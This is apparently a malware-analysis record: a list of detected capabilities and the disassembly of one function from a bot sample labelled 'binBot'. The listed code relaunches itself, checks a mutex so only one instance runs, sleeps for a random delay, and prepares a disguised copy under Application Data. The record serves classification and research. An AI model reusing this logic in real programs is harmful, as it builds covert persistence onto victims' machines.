Function at 0x18d40910
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push edi
push 0x103
lea eax, [ebp - 0x20f]
push 0
push eax
mov byte [ebp - 0x210], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.18d3a5d0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x103
lea ecx, [ebp - 0x10b]
push 0
push ecx
mov dword [0x18d7a70c], eax
mov byte [ebp - 0x10c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
push 0x104
lea edx, [ebp - 0x10c]
push edx
push eax
mov byte [ebp - 8], 0
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x18d409cf
push 3
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.18d32440
lea edx, [ebp - 8]
push edx
call fcn.18d3f2b0
add esp, 4
test eax, eax
je 0x18d409cf
push 5
push 0
push 0
lea eax, [ebp - 8]
push eax
push str.OPEN
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [0x18d7b500], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call main
add esp, 4
call fcn.18d33870
cdq
mov ecx, 0xa
idiv ecx
mov esi, edx
inc esi
call fcn.18d33870
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0x1f4
imul edx, esi
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x18d457ac
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x18d40a38
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 2
je 0x18d40a38
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x18d457a0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x18d457a0
call fcn.18d31e60
push eax
push str._08x
lea edx, [ebp - 0x210]
push 0x103
push edx
call sub.MSVCRT.dll__snprintf
lea eax, [ebp - 0x210]
push eax
call fcn.18d34d00
add esp, 0x1c
test eax, eax
jne 0x18d40a7f
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push str.binBot
call fcn.18d373e0
add esp, 8
cmp eax, 1
jne 0x18d40a9e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push str.binBot
call fcn.18d37330
push 0
call fcn.18d3b300
add esp, 0xc
mov esi, eax
call fcn.18d36850
push 0x208
push str.C:1699465ad193c583.exe
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push edi
push 0x18d40f92
push str.C:Documents_and_SettingsAdministratorApplication_DataMicrosoftWindowsFqkgkl.exe
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x10
push 0
push 0
push 0x104
push 0x18d7ac50
push 0xffffffffffffffff
push str.C:Documents_and_SettingsAdministratorApplication_DataMicrosoftWindowsFqkgkl.exe
push 0
push 0
call edi
push 0x208
push esi
push 0x18d7b1b8
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0x104
push str.Fqkgkl
push 0xffffffffffffffff
push esi
push 0
push 0
call edi
xor eax, eax
mov ecx, 0x14c
cmp word [0x7ffe002c], cx
setne al
mov dword [0x18d7b504], eax
test eax, eax
je 0x18d40b5f
call fcn.18d3a990
push 0x9c4
mov dword [0x18d7b508], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x18d46d28
call fcn.18d35ce0
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]